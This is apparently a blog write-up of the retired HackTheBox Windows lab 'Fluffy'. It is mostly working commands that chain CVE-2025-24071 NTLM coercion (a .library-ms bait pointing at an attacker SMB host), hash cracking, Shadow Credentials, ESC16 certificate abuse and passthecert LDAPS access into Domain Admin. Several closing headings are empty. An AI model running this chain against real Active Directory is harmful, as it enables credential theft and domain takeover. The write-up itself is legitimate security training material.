~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / fluffy.md

fluffy

Windows · Easy · released 2025-05-24 · retired 2025-09-20

Summary

Fluffy is an Easy Windows AD assume-breach: low-priv j.fleischman (supplied) → NTLM coercion via CVE-2025-24071 (.library-ms inside a ZIP, dropped into a writable share so Explorer-preview triggers an outbound SMB auth) → captured p.agila NetNTLMv2 → cracked offline. p.agila is a member of Service Account Managers, which has GenericAll over the Service Accounts group. Adding ourselves to that group inherits GenericWrite over winrm_svc, ldap_svc, ca_svc — i.e. msDS-KeyCredentialLink writes (Shadow Credentials). With shadow-cred → cert auth, we extract the NT hash for winrm_svc and log in over WinRM for the user flag.

The official root path is ESC16 (CA omits the SID extension OID 1.3.6.1.4.1.311.25.2, KDC has StrongCertificateBindingEnforcement = 0): set ca_svc’s UPN to administrator, request a User template cert from fluffy-DC01-CA, restore ca_svc’s UPN, then PKINIT-auth as Administrator. On this snapshot the path falls back to passthecert.py because the DC’s machine cert had expired (NotAfter = 2025-04-17 with the Missing stored keyset flag), so the KDC rejects every PKINIT request with KDC_ERR_PADATA_TYPE_NOSUPP. The cert is still valid for Schannel-bound LDAPS, so we drop into an authenticated LDAPS shell as Administrator and add winrm_svc to Domain Admins — re-using the existing WinRM session for root.txt.

The chain in one line: provided low-priv j.fleischman → CVE-2025-24071 NTLM coercion → crack p.agila → group write to join Service Accounts → Shadow Credentials → winrm_svc NT hash → ESC16 cert as Administrator → Schannel LDAPS bind (passthecert) → DA on winrm_svc → root.

Recon

53/tcp   DNS
88/tcp   Kerberos     (KDC)
139/445  SMB
389/636  LDAP / LDAPS
3268     Global Catalog
5985     WinRM
9389     ADWS

Standard DC profile. ldap_svc and winrm_svc in the user list hint at split service accounts, and a ca_svc plus the 9389 ADWS surface together suggest AD CS is on the box.

nxc smb <DC> -u j.fleischman -p '<PROVIDED_PW>'   # creds verified
nxc ldap <DC> -u j.fleischman -p '<PROVIDED_PW>' --users

The IT share is interesting: anonymous to j.fleischman it permits ls and put. Pull everything.

smbclient -U fluffy.htb/j.fleischman%'<PROVIDED_PW>' \
  //<DC>/IT -c 'recurse ON; prompt OFF; mget *'

Upgrade_Notice.pdf lists six fresh CVEs the IT team are tasked with patching, headlined by CVE-2025-24071 (Critical). That’s our trigger — IT staff are actively browsing this share, so Explorer’s preview pane will resolve any .library-ms we drop.

Foothold — CVE-2025-24071 NTLM coercion

The bug: Windows Explorer parses .library-ms files when the containing folder (or the ZIP’s preview view) is rendered. The <simpleLocation><url> element accepts a UNC path, and Explorer issues an SMB lookup without prompting. Drop one in a writable share, wait for any user to navigate near it, and the user’s NetNTLMv2 lands in our responder.

Build the bait:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <simpleLocation>
        <url>\\<ATTACKER>\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
zip pwn.zip exploit.library-ms
smbclient -U fluffy.htb/j.fleischman%'<PROVIDED_PW>' \
  //<DC>/IT -c "put pwn.zip; put exploit.library-ms"
sudo responder -I tun0 -wF

The HTB box has a scheduled task that simulates p.agila browsing IT. Within ~30s the responder log shows multiple p.agila::FLUFFY:… NTLMv2 captures from <TARGET>.

hashcat -m 5600 p.agila.hash /usr/share/wordlists/rockyou.txt
# → <P_AGILA_PW>

Lateral — Service Accounts join → Shadow Credentials → WinRM

p.agila doesn’t have direct ACEs on the service accounts. They do sit in Service Account Managers, which has GenericAll over the Service Accounts group. Walk the graph:

p.agila ──member──▶ Service Account Managers ──GenericAll──▶ Service Accounts (group)
                                                              │
                       (Service Accounts group has GenericWrite over winrm_svc, ldap_svc, ca_svc)

So joining ourselves to Service Accounts inherits GenericWrite on each service account — enough to write msDS-KeyCredentialLink (Shadow Credentials).

bloodyAD --host <DC> -d fluffy.htb -u p.agila -p <P_AGILA_PW> \
         add groupMember 'Service Accounts' p.agila

Once we’re a Service Account, write a Key Credential to winrm_svc. Use -dc-host for certipy-ad in this lab: NTLM binding without it failed with [Errno 113] No route to host on the spawn we tested.

certipy-ad shadow auto -u [email protected] -p <P_AGILA_PW> \
           -account winrm_svc -dc-host DC01.fluffy.htb
# → NT hash: <winrm_svc_NT>

WinRM as winrm_svc:

evil-winrm -i <DC> -u winrm_svc -H <winrm_svc_NT>
# → fluffy\winrm_svc — type ..\Desktop\user.txt

Caveat: time skew breaks shadow-credential PKINIT silently

The first attempt errored KDC_ERR_CLIENT_NOT_TRUSTED. The Kali clock had drifted ~7h from the DC’s. sudo ntpdate -u <DC> resyncs and the next shadow auto succeeds. Always check date on the attacker before debugging Kerberos.

Privilege escalation — ESC16, falling back to PassTheCert

certipy-ad find shows the CA fluffy-DC01-CA with Disabled Extensions: 1.3.6.1.4.1.311.25.2. That OID is szOID_NTDS_CA_SECURITY_EXT — the SID extension that strong certificate-to-account mapping relies on. With it disabled, every issued cert lacks the SID binding. Combined with the DC’s StrongCertificateBindingEnforcement = 0 (compatibility mode), this is ESC16: any user under our control whose UPN is temporarily flipped to a target account’s identity yields a cert that the KDC will weak-map to the target.

ca_svc is in Service Accounts (in fact, in Cert Publishers too) — i.e. eligible to enroll on the User template via Domain Users. After joining Service Accounts, p.agila (via inherited GenericWrite) can rewrite ca_svc.userPrincipalName. This is the classic ESC16 sequence:

# 1) Set ca_svc UPN to the target's sAMAccountName
certipy-ad account -u [email protected] -hashes :<winrm_svc_NT> \
           -dc-ip <DC> -user ca_svc -upn administrator update

# 2) Enroll a User cert as ca_svc — embeds UPN=administrator in SAN
certipy-ad req -u [email protected] -hashes :<ca_svc_NT> \
           -dc-ip <DC> -ca fluffy-DC01-CA -template User \
           -target DC01.fluffy.htb
# → administrator.pfx, "Got certificate with UPN 'administrator'"
# → "Certificate has no object SID"  (this is the ESC16 signal)

# 3) Restore ca_svc UPN — critical, otherwise the KDC weak-mapper
#    sees the cert as belonging to ca_svc rather than Administrator
certipy-ad account -u [email protected] -hashes :<winrm_svc_NT> \
           -dc-ip <DC> -user ca_svc -upn ca_svc update

The intended next step is certipy-ad auth -pfx administrator.pfx -username administrator -domain fluffy.htb — which on a healthy ESC16 box produces Administrator’s NT hash via UnPACtheHash over the PKINIT TGT.

When PKINIT is structurally dead

On this snapshot it doesn’t work. certutil -store My on the DC (via the winrm_svc shell) shows the DomainController cert CN=DC01.fluffy.htb with NotAfter = 2025-04-17 and Missing stored keyset — i.e. the DC’s PKINIT keypair is gone and the cert has expired. Every PKINIT pre-auth attempt comes back with KDC_ERR_PADATA_TYPE_NOSUPP (the KDC has no PKINIT-capable cert to satisfy the request).

The ESC16 cert is still cryptographically valid, and the AD LDAPS endpoint accepts it for Schannel mutual TLS. With strong binding off, the LDAP server weak-maps cert SAN UPN to implicit-UPN [email protected] and binds us as Administrator. AlmondOffSec’s passthecert.py does this and adds an LDAP shell on top:

certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

python3 PassTheCert/Python/passthecert.py -action whoami \
        -crt administrator.crt -key administrator.key \
        -domain fluffy.htb -dc-ip <DC>
# → "[*] You are logged in as: FLUFFY\Administrator"

From an admin LDAPS bind, escalate by adding our winrm_svc session to Domain Admins — cheaper than DCSync, no NTDS dump needed:

python3 PassTheCert/Python/passthecert.py -action ldap-shell \
        -crt administrator.crt -key administrator.key \
        -domain fluffy.htb -dc-ip <DC> -port 636
# # add_user_to_group winrm_svc "Domain Admins"
# Adding user: winrm service to group Domain Admins result: OK
# # exit

Reconnect with the existing winrm_svc hash — the new group membership is in the Kerberos PAC for the next logon — and read root.txt:

type C:\Users\Administrator\Desktop\root.txt

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗